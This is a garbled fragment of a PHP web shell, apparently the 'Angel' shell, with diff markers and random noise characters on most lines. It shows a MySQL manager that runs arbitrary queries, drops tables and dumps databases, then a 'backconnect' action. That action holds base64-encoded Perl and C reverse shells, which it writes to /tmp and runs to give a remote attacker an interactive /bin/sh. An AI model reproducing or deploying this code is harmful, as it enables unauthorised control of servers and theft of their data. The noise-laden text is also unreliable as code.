% i! \1 Y1 [$ U6 E - $delete_sql = "DELETE FROM $tablename WHERE $where";+ T7 N8 N, }/ ]# z
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);7 ~1 \. H3 ], t8 ?$ ^7 F
- m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());3 A9 T/ c e0 b% c
- }! q& ?- i- U# x8 a% h8 Z" t
- . |% U6 p# K# B4 g# O5 B$ f
- if ($tablename && $doing == 'drop') {
5 u; H' c9 s2 f- U+ [6 Q! |) ] - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
8 x9 i' C, O+ S( R, q; V4 t - if (q("DROP TABLE $tablename")) {
7 ^1 k/ C& j# @ - m('Drop table of success');
# ^) _, H9 N" a; x/ ^ - $tablename = '';
* b& d- p( s; x. ?! [! z - } else {# J. j/ R, S3 y2 O8 w( ~$ ?9 X/ L* l
- m(mysql_error());
$ l& m1 Y; ]& f( V& ` - }
! G8 K* V/ k- Q; W5 l - }
; b& P; E3 |0 e -
+ F' r0 s9 ^. O8 i4 Y5 V - $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');: n4 R* j6 b4 _7 \& r8 U. I# ]
- 1 ^' S6 C6 |0 s- y& M" W9 ]/ I
- formhead(array('title'=>'MYSQL Manager'));
x6 J; s/ \$ u7 o8 w+ @ O - makehide('action','sqladmin');
6 N H8 G! p; m2 y {" K0 Z - p('<p>');2 h! ~7 W$ D X) x* i
- p('DBHost:');0 X1 H- ]. S3 b
- makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));1 G* H c" q5 p* }1 W
- p(':');) s7 e: w6 U" ], g' _* H2 D
- makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));- Q$ e4 n2 l/ l% E& Y) ?- F0 ?
- p('DBUser:');( I& D; G+ q" w/ Y0 K
- makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));' R& M3 {0 J8 R- r1 A0 a
- p('DBPass:');5 W! ]9 ~$ T9 W9 y+ X& ~; C- w
- makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
$ U+ C! j* q$ U4 O9 p - p('DBCharset:');
' j5 k6 L9 D9 c - makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));" M& Q2 G) \! D* ^
- makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
! i, m; J& h: L5 ^$ T - p('</p>');
) S1 B9 c+ j Q5 g - formfoot();0 O" z3 J" \5 n$ r5 P/ I
- ?>
3 e$ E; M6 @. f9 A - <script type="text/javascript">
& g+ k6 ?7 j* D - function editrecord(action, base64, tablename){
1 _/ U7 Q1 Y" E7 z, q' k; G' w: V. h - if (action == 'del') {
7 x" y( a* y; P4 [ - if (!confirm('Is or isn\'t deletion record?')) return;5 a) \" C7 w7 w7 u3 s }1 N
- }) {7 |& X5 n$ ~
- $('recordlist').doing.value=action;
( S. J+ S' Y8 F. m - $('recordlist').base64.value=base64;* r, g3 X, [* ]9 J) o' u8 }
- $('recordlist').tablename.value=tablename;5 w' Z% V8 a! r' l, {
- $('recordlist').submit();; K0 B0 i2 K4 Q; c
- }6 o, g) k5 Z+ @) z: K
- function moddbname(dbname) {
* X6 c: }2 s/ s. C5 W - if(!dbname) return;, \+ p, H3 c; ~; |' C; W7 H! Y D) f
- $('setdbname').dbname.value=dbname;
+ X. F) Z$ C" |( q4 ^7 n1 n - $('setdbname').submit();
& y h0 ~+ p/ u# S2 F - }3 |: t( G4 T: ]) F
- function settable(tablename,doing,page) {0 D5 n5 R3 \9 K* y* |
- if(!tablename) return;; W; Q) A8 T% B# r& k4 m7 E
- if (doing) {
^$ e8 J$ ~# `$ q* u$ u - $('settable').doing.value=doing;
1 Z+ W1 a* s4 H - }
( n. C; r! Q: Q2 o. Q/ t - if (page) {* \3 k4 a" o2 e, a+ K6 H/ K' N3 W
- $('settable').page.value=page;0 O$ ]9 j4 H( S/ u- |: x: O
- }
: n( [2 V1 a& d! {; | - $('settable').tablename.value=tablename;
/ i1 Q# @6 k5 u: L! c& V - $('settable').submit();6 H2 N. u) x2 ]& X' S% x: {
- }# X3 x. c+ [" u: B' A" L, s6 z
- </script>; D1 W, W$ z& G
- <?php, U2 l. l) ?! U" e
- //操作记录5 x( [. t# s1 T! V! m
- formhead(array('name'=>'recordlist'));
6 x; v* |% M j# s- F& |9 b - makehide('doing');
. Z2 D# }6 v; c" J0 Y - makehide('action','sqladmin');! X9 h0 u! a/ y. @+ U( u
- makehide('base64');2 o) F: G% [7 c6 ^/ b
- makehide('tablename');' d l" m% c& D4 x3 ~0 J0 k0 G
- p($dbform);
9 S9 D6 \0 S. H( }5 k) B - formfoot();3 E" z8 R' ~( l, Z
- //选定数据库$ o0 @$ p: H8 p
- formhead(array('name'=>'setdbname'));3 V8 d& p+ P0 |+ p
- makehide('action','sqladmin');
$ ]/ g9 v. v* K6 |2 b - p($dbform);8 ~: E2 K% s# J5 Q" N
- if (!$dbname) {1 @9 T( i. k# |+ v9 _- D* l
- makehide('dbname');
e" H- A* r4 [0 B2 g - }
3 n+ e/ A5 r0 s% T; F - formfoot();) u) }8 @$ H s: v7 J
- //选定表
6 K7 [ }5 v7 o - formhead(array('name'=>'settable'));0 f& o+ C" f; w! e
- makehide('action','sqladmin');7 T9 h' A4 D4 ^3 j4 s
- p($dbform);
2 S1 s% z. X* K, O - makehide('tablename');
V9 j( P$ F4 O- j0 U - makehide('page',$page);0 d0 A4 ~( c7 y& y/ D7 N* T/ U
- makehide('doing');
: D# ? ]8 h5 C% [ - formfoot();# L) [" @: k8 d& m! p1 H' m" S
- $cachetables = array(); : P) f9 U( s+ q" @: l
- $pagenum = 30;! m" S8 w1 N: z
- $page = intval($page);
- |- V3 Y6 _( A+ \+ W- [ - if($page) {
9 b/ H' q4 R; ^" Z2 D |# [ - $start_limit = ($page - 1) * $pagenum;
0 `& t3 r) m7 U8 b, r; a$ S( N - } else {
Y: Y' d T; U+ x6 u/ ~/ ^ - $start_limit = 0;
" W0 i: I5 Q8 M" c: S, b8 Y+ v4 t - $page = 1;
6 C; s& s! _' Z; B9 G, K - }; `% U3 T7 C+ X2 z2 U
- if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
) L2 u+ N! a& }# x! [ - dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
! ^$ t# v& |6 e8 w - //获取数据库信息* L/ i: W( l/ |' b
- $mysqlver = mysql_get_server_info();
, @6 t% C1 | s9 A9 P4 M - p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
1 U" t" ]. \- q- y. o - $highver = $mysqlver > '4.1' ? 1 : 0;+ k% a" m0 ?# a
- //获取数据库
2 E/ N. Z) s# R3 |* } - $query = q("SHOW DATABASES");
+ S" w3 u8 P( [5 y1 m - $dbs = array();3 t4 e6 }8 V% p' C5 D
- $dbs[] = '-- Select a database --';
" U. X$ s! o- h) p - while($db = mysql_fetch_array($query)) {
) j+ Y2 W, O6 F- d; S( u - $dbs[$db['Database']] = $db['Database'];
6 ?$ i" G, |0 g* t, o - }9 L2 Y7 `: u: ~8 h, o
- makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));. `: p! b. P0 c/ d
- $tabledb = array();
0 d2 ^/ ^7 A; v& _) ? - if ($dbname) {( R; Y" ]! h$ j4 L# M* ^( w" W
- p('<p>');
9 O7 m6 }1 O4 p# \* l" Q8 g - p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
+ {, l4 ~3 j- n2 e" \* U; N - if ($tablename) {7 B" H6 b/ t* F4 Q) q& g# L6 m
- p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');9 u2 ~3 X. ]9 S$ ^
- }
8 t+ w6 |4 k) @) Y5 l - p('</p>');
' f4 k5 k4 U& l. Q& Q - mysql_select_db($dbname);
; s6 e% e; f7 K - $getnumsql = '';3 {7 M2 h1 C1 v) W; c
- $runquery = 0;
0 N3 }7 k( H1 D& T1 P' z' g7 r - if ($sql_query) {! m8 i; ?0 v2 ]6 X/ c
- $runquery = 1;
" y& x8 i/ T3 x - }- o2 l }% m4 q
- $allowedit = 0;
4 t. G% c: Z; s0 D. n% m - if ($tablename && !$sql_query) {. y& e! C0 n1 n) u: f3 n
- $sql_query = "SELECT * FROM $tablename";8 z1 K+ w0 \/ W6 X( f; ^+ d
- $getnumsql = $sql_query;5 M; A F; h! I3 n) a w
- $sql_query = $sql_query." LIMIT $start_limit, $pagenum";+ M. w: q+ m/ J1 u3 K1 L
- $allowedit = 1;
! A: e! D( P( W; ^& r' d! Q - }+ p/ R( x$ x+ E
- p('<form action="'.$self.'" method="POST">');, ?' n4 T2 A J# M' ^% H/ i4 g% I
- p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');& f( [& K# l# m6 M P4 t
- makehide('tablename', $tablename);
' v7 c- H! _$ l# F - makehide('action','sqladmin');
# N4 w. F1 M0 f' `' E - p($dbform);, ?; W! k# j6 c2 j1 C3 u1 Q
- p('</form>');
/ ?# T* T( G! D9 N! S- ?1 c* g - if ($tablename || ($runquery && $sql_query)) {
9 j+ b, {- {' w+ `, t- \4 Y7 C - if ($doing == 'structure') {- q$ _2 P, p r" @3 X+ ?9 C' |# P& t$ N
- $result = q("SHOW COLUMNS FROM $tablename");, n6 s. y: ~; S( R0 ~+ {
- $rowdb = array();7 n+ l( |3 y# {2 t
- while($row = mysql_fetch_array($result)) {
# F, f% M! Z2 g) |" j - $rowdb[] = $row;
: B5 u* \0 m, h. h' k* l0 K - }
( _5 k* a0 K$ @ - p('<table border="0" cellpadding="3" cellspacing="0">');0 Y% S2 G. \# _6 y/ k1 U' t& ^, J- W
- p('<tr class="head">');- h7 C1 q: y: W; J4 `( ~$ m" }
- p('<td>Field</td>');
: C s" R( U/ J8 R - p('<td>Type</td>');# o" q; j+ g; W) j3 C9 S' k. l
- p('<td>Null</td>');
2 p& z& L' s0 |8 N. R - p('<td>Key</td>');
, s5 I- Y2 I6 \3 Z I5 P0 Z - p('<td>Default</td>'); C+ Y8 D: ~& [2 O- u! r
- p('<td>Extra</td>');
% z4 C- M+ s- ^. l. S: Z8 @5 c - p('</tr>');3 f# \9 e+ R: n4 x% F
- foreach ($rowdb as $row) {
) m2 u$ }' y4 D, s: p' ~- k5 h* l3 p - $thisbg = bg();" A* m+ y' q, I% H
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');7 s0 [7 S1 b: M1 C
- p('<td>'.$row['Field'].'</td>');
6 x/ s! P2 p; v6 `! k5 O4 P - p('<td>'.$row['Type'].'</td>');$ _) T8 j. F6 w6 p. T/ L% [
- p('<td>'.$row['Null'].' </td>');/ V$ \5 x, @* n; `) P8 ]! [
- p('<td>'.$row['Key'].' </td>');4 W% d+ l1 w/ }' w# S( B: O- X8 J
- p('<td>'.$row['Default'].' </td>');
9 h6 s/ l/ k' D! J i. G - p('<td>'.$row['Extra'].' </td>');) C! _* N3 Q9 Y$ }
- p('</tr>');
( X* ~' N+ r9 I4 [) ^ - }
& f R: _# v* Y- S2 p' A# t - tbfoot();
* A: b4 W, i$ c6 [" v - } elseif ($doing == 'insert' || $doing == 'edit') {
% [. c/ m. U3 S* s$ z; { - $result = q('SHOW COLUMNS FROM '.$tablename);
( Z2 L; T( r% Q @ - while ($row = mysql_fetch_array($result)) {1 i9 Y9 s+ O' P+ ?/ Q/ C/ L% X1 Q
- $rowdb[] = $row;
/ l+ F" E( z" Z) G - }2 L: K M" I' C$ P
- $rs = array();9 _% w1 @; ^. B* D0 b
- if ($doing == 'insert') {
. D! |1 M. b: @ - p('<h2>Insert new line in '.$tablename.' table »</h2>');
' |$ n) y& p; c" ? - } else {9 c& z9 k; B" D4 l/ T( S) T
- p('<h2>Update record in '.$tablename.' table »</h2>');
( E$ }3 j& l6 v - $where = base64_decode($base64);
6 X% L2 r1 Z7 M: i, ?3 U - $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
! D# W; @1 x% \4 o% ` - $rs = mysql_fetch_array($result);$ i7 G! i* }. o/ T- K7 p
- }
, z- Q( L* c" n4 f. A6 m - p('<form method="post" action="'.$self.'">');- y# c- Y7 T9 G; Y. [4 y" }
- p($dbform);
; I& j2 t4 @' e" c( y' d- k' c$ r, a - makehide('action','sqladmin');
5 l1 @9 [* i4 |/ d! v3 E8 y - makehide('tablename',$tablename);# z: y: L. _6 ]; `3 d
- p('<table border="0" cellpadding="3" cellspacing="0">');. O# g$ R( |! Q6 A! `
- foreach ($rowdb as $row) {: l1 X; _; O, f9 K
- if ($rs[$row['Field']]) {0 l; P q% f5 ]+ W
- $value = htmlspecialchars($rs[$row['Field']]);
( N4 s5 \+ g/ R- t4 \. p - } else {
+ q0 |2 j" `9 w1 q7 l6 d - $value = '';; M3 `; _* q8 B9 R3 a% s' o
- }9 A8 g" p* F/ `6 T, G* ^
- $thisbg = bg();. R. V' f& Q/ r& N. h) j* ?2 A
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
# `3 m# c n7 o/ k3 t* b - p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
% c$ _% C- B$ z" C, ], m: `) G - }- T- z; l y. H7 {) A z& f
- if ($doing == 'insert') {
7 s: r) h( n) J& | - p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');( A6 I( M- @2 q4 w8 _
- } else {0 H, C" I+ d: e$ {. U! N, N
- p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>'); V6 Q1 |( p5 o6 Z2 k
- makehide('base64', $base64);. a* s5 w) c" P) _
- }
3 ?. x |; q0 \ - p('</table></form>');! w. \2 d; x5 M0 ~/ ?
- } else {
7 x; d* e* M: w - $querys = @explode(';',$sql_query);/ J1 U8 ^+ K c5 P$ D
- foreach($querys as $num=>$query) {
7 l ]) X( g+ T" k/ R( Z - if ($query) {
$ {' o' h% i+ }& Z" `; g - p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
3 q) e1 E: @6 K% ] P" G/ w - switch(qy($query))
) m$ q! c" U* m8 l - {
' J2 u# G9 D/ e, A* p& M A - case 0:
& t$ S1 @4 ~1 g2 x& B - p('<h2>Error : '.mysql_error().'</h2>');
. {3 t9 W8 z/ h% x& `' ` - break;
) z! M5 Y8 E* u; F @& w0 X- K - case 1:
7 a- o" k' ~3 I0 U9 D5 t) c" I4 Z& d7 a - if (strtolower(substr($query,0,13)) == 'select * from') {4 ^, L/ H8 t. V- h& ^
- $allowedit = 1;) f4 D8 a& L! Q6 y7 |
- }& m+ m" o* S& V- H3 D3 r
- if ($getnumsql) {
* ^; J6 U) H; j3 a' V1 S; Q$ \ - $tatol = mysql_num_rows(q($getnumsql));* F/ {( k4 O( ]3 Q3 u
- $multipage = multi($tatol, $pagenum, $page, $tablename);
8 X' B. L' T5 N" e: q - }
" a- f& A& C6 p. J: g1 _* K2 R- _3 n0 i - if (!$tablename) {
6 N$ G/ d: V' i4 x - $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
6 U( z, z, p' w- P# X - $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
. `& V- X; i9 s" e& d: Z* u7 h7 I - preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
1 f V; D, x) m5 w2 b9 w. S" f - $tablename = $matches[1][0];
. A$ Y' p b" j# o' Y, K8 b; D - }% i; ?. R) F5 b; k2 E0 k
- $result = q($query);
. {. A2 T" q' m8 N& m S' w - p($multipage);( O; R1 B$ @( c$ C# j* ?* p a/ c
- p('<table border="0" cellpadding="3" cellspacing="0">');1 m5 ]; ?/ F2 E% P3 r4 a# r
- p('<tr class="head">');
- U3 E1 u- i0 Q" S9 |; O; w3 f- P7 } - if ($allowedit) p('<td>Action</td>');9 _; G3 W" b2 s* V9 I" y& m
- $fieldnum = @mysql_num_fields($result);
& l$ } j6 f" }! I/ D - for($i=0;$i<$fieldnum;$i++){
; f0 q& z; [& F. \* m- E - $name = @mysql_field_name($result, $i);- y1 \, S7 r4 Q0 E
- $type = @mysql_field_type($result, $i);+ Q& n3 y+ y8 x3 u
- $len = @mysql_field_len($result, $i);9 K0 [9 {+ h# |
- p("<td nowrap>$name<br><span>$type($len)</span></td>");8 N- _$ j/ v# t4 j$ y% b6 M+ q( V
- }
8 b# q, f1 z- d/ u! x3 N5 j - p('</tr>');
% u5 |0 [" E9 ?( X( T) t - while($mn = @mysql_fetch_assoc($result)){$ F* F% M* S2 E. s0 e4 c
- $thisbg = bg(); w) f1 P1 i9 [9 K/ I% u2 S
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');8 c* h$ B$ R+ E! Z a, ?
- $where = $tmp = $b1 = '';/ t: c: P. H' k, k8 _
- foreach($mn as $key=>$inside){0 i4 M+ e+ U W s. q
- if ($inside) {# f% W0 u9 e! G% r* A
- $where .= $tmp.$key."='".addslashes($inside)."'";
3 X/ [1 R1 W* S9 i0 } i - $tmp = ' AND ';
T* @) o' a0 p* Q/ ] - }$ k/ i! K8 n: O
- $b1 .= '<td nowrap>'.html_clean($inside).' </td>';5 U \ g$ t4 V; S2 m; L
- }
$ x: o0 A$ o: x' w9 h3 R; F - $where = base64_encode($where);) l2 {0 u0 s- k$ `
- if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');3 ?% m' T# x4 Q/ L
- p($b1);4 W# F, _$ Z2 o* f- B# |- {( i
- p('</tr>');
: u. m2 Q) t" F3 D* H7 R: _ - unset($b1);
& o& |$ t# B3 Z% k( D1 i - }; _5 g, ?4 h/ i' L6 F* @" T
- tbfoot();
k6 Z+ a4 K' L1 e! S - p($multipage); |( x7 ]2 d2 \' a1 j& Z
- break; 3 p" |- J$ {7 R/ |
- case 2:
' [$ x0 m7 d2 n* ^ - $ar = mysql_affected_rows();0 @: J1 ]1 G8 A' {- y
- p('<h2>affected rows : <b>'.$ar.'</b></h2>');
: R9 L" c/ ]1 [8 }1 ]: d4 { - break;2 z, m. P& _7 L6 ]! P+ {" W
- }
' k! E7 n9 v! ] - }
9 e4 R2 @0 u; q$ t G1 C - }
: u" ]. V2 D5 F - }
3 B! ?4 \; `. V- e: {5 I% l! p - } else {2 Q( P: x5 y5 V4 L: J# R: \* o
- $query = q("SHOW TABLE STATUS");. x( `! m3 B- ^4 l, Q0 E. g
- $table_num = $table_rows = $data_size = 0;
1 n, m5 p0 A+ o' |7 I2 j3 v - $tabledb = array();
" |: Q4 L& V; a$ t - while($table = mysql_fetch_array($query)) {8 m$ ~' x* p% O. M
- $data_size = $data_size + $table['Data_length'];
- D5 f! K2 i# {+ o" \' D( X - $table_rows = $table_rows + $table['Rows'];9 A& B+ ?, T: @: c& B0 v$ ?
- $table['Data_length'] = sizecount($table['Data_length']);5 ]; F# v3 S* o! b9 u. v
- $table_num++;0 N; N: I7 u/ ^
- $tabledb[] = $table;
9 f- r2 i0 ~) O1 i$ r! V# n - }! e3 C+ E# g `: [* Q7 z$ w
- $data_size = sizecount($data_size);! ^6 e- l' v& r$ Q1 A& |
- unset($table);
; _' i3 o8 [* ~, C5 ^9 `+ E - p('<table border="0" cellpadding="0" cellspacing="0">');7 Y) e; b$ c% F" L
- p('<form action="'.$self.'" method="POST">');
5 X2 x5 S8 n2 x0 g6 u, J" I - makehide('action','sqladmin');9 w; I6 p# P5 K( d& P
- p($dbform);$ |& ^% W) }9 L# B' j3 m v
- p('<tr class="head">');
' t9 b: L5 }( Q0 `: Q S - p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
/ X$ k* W& s& l - p('<td>Name</td>');
" P) e$ R- s6 C* b! ?1 E9 y% W8 | - p('<td>Rows</td>');
9 o$ Y( R3 w# n4 M+ H - p('<td>Data_length</td>');
& w# S# `/ \4 D; q - p('<td>Create_time</td>');* Y7 b5 m8 \0 B7 V2 l
- p('<td>Update_time</td>');
6 Z% L2 Q1 O) |: [ - if ($highver) {( `0 D3 Z+ l8 P/ \0 H9 E- w
- p('<td>Engine</td>');
( H" Z& `+ A9 K5 @; l - p('<td>Collation</td>');
2 g. f; }. Q* D1 W- i" |6 n - }( y: H5 I7 c/ N& I0 c* e$ v( r
- p('</tr>');: \/ p0 E2 e! c5 O* P6 K% u
- foreach ($tabledb as $key => $table) {
) V1 N: q: v% [- M' s - $thisbg = bg();
6 {6 }/ D7 h+ K0 R, ^ - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');7 M! W$ ^2 u' m! l5 E3 r9 ?5 D
- p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
+ Z7 g& Z" G5 F4 m+ b - p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');& D1 H3 Q& B4 H$ w8 J
- p('<td>'.$table['Rows'].'</td>');
# H0 N: n* H. f - p('<td>'.$table['Data_length'].'</td>');7 K' F6 O3 s* N$ o" H
- p('<td>'.$table['Create_time'].'</td>');
( \7 k; @4 f) f( ~ - p('<td>'.$table['Update_time'].'</td>');
% |7 }: T6 z5 k/ a& d' T2 } - if ($highver) {
4 }# u2 _4 z z K4 m6 L - p('<td>'.$table['Engine'].'</td>');
4 X8 F" M3 [. Q4 | - p('<td>'.$table['Collation'].'</td>');5 o0 `; V: K4 O
- }
! E4 {- I3 p8 L& e: E - p('</tr>');* y1 {1 W+ P- Q7 s f
- }9 i/ V! ^, B4 n- [& v2 q7 l
- p('<tr class='.bg().'>');
6 v9 {. x8 V# r - p('<td> </td>');
: q+ O+ a* _% K( M - p('<td>Total tables: '.$table_num.'</td>');' m9 \8 x( p# S: q
- p('<td>'.$table_rows.'</td>');4 l4 _' k7 t3 x
- p('<td>'.$data_size.'</td>');
) R$ a0 p: M1 V+ U" x5 c - p('<td colspan="'.($highver ? 4 : 2).'"> </td>');' u! C7 c/ u0 D, X" R" S/ v! q
- p('</tr>');0 P0 c, t& |6 B1 ^
- p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");" }6 E+ t* U# a* p+ W# n- F9 H
- makehide('doing','backupmysql');+ |% u9 H8 V6 F( g5 R$ V
- formfoot();$ G% Z& N8 M" Y; b3 e/ B
- p("</table>");
9 L0 r9 f, Z0 q7 E1 |5 I! ]. _ - fr($query);* n& l, ^- |2 ~9 S3 Q3 H
- }: x4 l' B: m6 F. ^) }) u
- }. D/ r* K }3 b$ Q# `2 C' _2 `: i
- }
8 z/ K8 e* c9 T; q6 I& X$ P# X - tbfoot();
$ [% e2 [# N. E+ ?/ a- g5 [7 e - @mysql_close();
J' [' ]7 L3 ^2 t9 W* ^5 F - }//end sql backup( X S2 J8 O& k' p* J1 v" W% |
- elseif ($action == 'backconnect') {
3 o) u( U7 J3 Q$ C i* r( x - !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
) S" Q1 Q4 z8 M! n% T - !$yourport && $yourport = '12345';, M0 ~1 z9 B, n+ Y$ g
- $usedb = array('perl'=>'perl','c'=>'c');0 p5 c/ q* F' S" T* I, |! m
- $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". L; h7 ?1 q! a9 w: V& r3 V
- "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
! M8 {- p6 O8 J - "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
6 s' V/ f9 j" G Y w1 P - "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
) e* y* R' z6 J1 ]7 E% n - "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".' h( q2 s. ]% b5 Q
- "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
! \/ P( u) L8 ?! R - "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
& Q4 S" |7 Q: I' M9 v# |7 g+ b4 ~8 ~ O - $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".5 H. A6 T, y1 B- }$ N7 o% `+ E
- "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".3 s7 W/ l5 C+ f# @; A! \- Q& W
- "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".2 C! C* r* t% b/ ?
- "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
9 Z6 g0 C+ k6 \4 ] - "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
( f V$ r2 y3 H! V4 } - "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
) O! k5 g" y4 @& c% x - "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
9 S; C5 y0 K7 u$ C- p) X7 U - "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
+ ]. n" g- a* Q1 Y$ k" X1 B - if ($start && $yourip && $yourport && $use){
" h$ m0 ~' q1 M$ E, j - if ($use == 'perl') {7 _, x* [ M( R! A
- cf('/tmp/angel_bc',$back_connect);' C8 s& M/ w% \$ N* U# \& [, G3 @1 G& b; l
- $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");; N+ R& d5 R- K' i
- } else {% S, K. U6 N; b" m. w
- cf('/tmp/angel_bc.c',$back_connect_c);
6 i/ U; o& O: {( ~ - $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');" a0 z7 ^' M* H% f* N
- @unlink('/tmp/angel_bc.c');
" ]& S' O0 N, r7 e$ n - $res = execute("/tmp/angel_bc $yourip $yourport &");
9 O! Q0 `- s) N; m" r2 n; K3 C X - }3 t: `5 G4 e' J8 Z( {
- m("Now script try connect to $yourip port $yourport ...");
( g( [* r( d1 i! [. h4 z( t - }$ j5 z, L# U! u% l- o" W/ q
- formhead(array('title'=>'Back Connect'));
